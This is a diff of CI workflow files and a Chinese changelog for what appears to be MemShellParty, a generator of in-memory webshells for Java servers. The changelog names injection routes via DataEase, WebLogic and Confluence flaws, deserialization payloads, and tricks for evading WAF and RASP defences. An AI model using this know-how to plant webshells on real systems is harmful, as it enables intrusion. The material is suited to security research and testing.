|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -1,72 +0,0 @@
|
|||||||
name: Probe IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- '**/probe/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v6
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -14,7 +14,7 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -36,21 +36,16 @@ jobs:
|
|||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -75,7 +70,7 @@ jobs:
|
|||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,26 +79,26 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -115,9 +110,9 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: .
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
build-args: |
|
build-args: |
|
||||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||||
@@ -130,15 +125,15 @@ jobs:
|
|||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
@@ -156,7 +151,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
name: Single IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
depend_tasks:
|
|
||||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
|
||||||
required: false
|
|
||||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
|
||||||
type: string
|
|
||||||
test_class:
|
|
||||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
|
||||||
required: true
|
|
||||||
type: string
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
integration-test:
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
|
||||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
name: Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'examples/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
|
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
if: github.ref == 'refs/heads/master'
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
memshell-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
needs: [ unit-test ]
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
detection-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
needs: [ unit-test ]
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
name: Unit-Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- 'generator/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[submodule "libs"]
|
|
||||||
path = libs
|
|
||||||
url = https://github.com/ReaJason/javaweb-sources.git
|
|
||||||
@@ -0,0 +1,292 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
|
||||||
|
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
|
||||||
|
> 进行调整。
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
|
||||||
|
- Web 添加关于页面
|
||||||
|
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
|
||||||
|
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
|
||||||
|
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
|
||||||
|
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
|
||||||
|
- 修复 TongWeb8 context 获取错误导致注入失败的问题
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
|
||||||
|
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
|
||||||
|
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
||||||
|
- 简化 Tomcat AgentInjector 的代码
|
||||||
|
- 前端 module 分包减少单个 js 体积,加快首次加载速度
|
||||||
|
- 移除 memshell-party-bom 模块,改用
|
||||||
|
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
||||||
|
- 使用 build-logic 替代
|
||||||
|
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
||||||
|
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
|
||||||
|
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
|
||||||
|
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
||||||
|
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
|
||||||
|
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
|
||||||
|
|
||||||
|
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
||||||
|
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复哥斯拉无法使用最新版连接
|
||||||
|
- 修复 TongWeb8 Valve 未适配
|
||||||
|
- 修复移动端 UI 输入框 placeholder 字体过大
|
||||||
|
- 修复移动端 UI 类名复制按钮超出卡片范围
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
||||||
|
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
||||||
|
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
||||||
|
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
||||||
|
- 简化 Shell base64 方法代码
|
||||||
|
- Gradle 更新至 8.14.2
|
||||||
|
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
||||||
|
Kotlin DSL
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
||||||
|
|
||||||
|
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||||
|
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
||||||
|
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
||||||
|
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||||
|
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
||||||
|
- 修复 Jakarta WebSocket 无法注入
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
||||||
|
- Gradle、Web 项目依赖更新
|
||||||
|
- UI 生成界面默认勾选缩小字节码
|
||||||
|
- UI 优化手机端选项布局,单行显示每个输入框
|
||||||
|
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
||||||
|
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
||||||
|
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
||||||
|
- 重构 Shell Generator 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
||||||
|
|
||||||
|
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60)
|
||||||
|
- 支持哥斯拉 WebSocket 内存马生成与测试
|
||||||
|
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
|
||||||
|
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61)
|
||||||
|
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+)
|
||||||
|
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||||
|
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
||||||
|
|
||||||
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
||||||
|
- 支持 CC3、CC4 反序列化 payload 打包方式
|
||||||
|
- 支持随机参数生成与默认选项(#50)
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 去除代码混淆相关代码
|
||||||
|
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
||||||
|
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
||||||
|
- 移除 commons-codec 降低 boot 打包体积
|
||||||
|
- 升级 shadcn/ui 所有 component 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||||
|
|
||||||
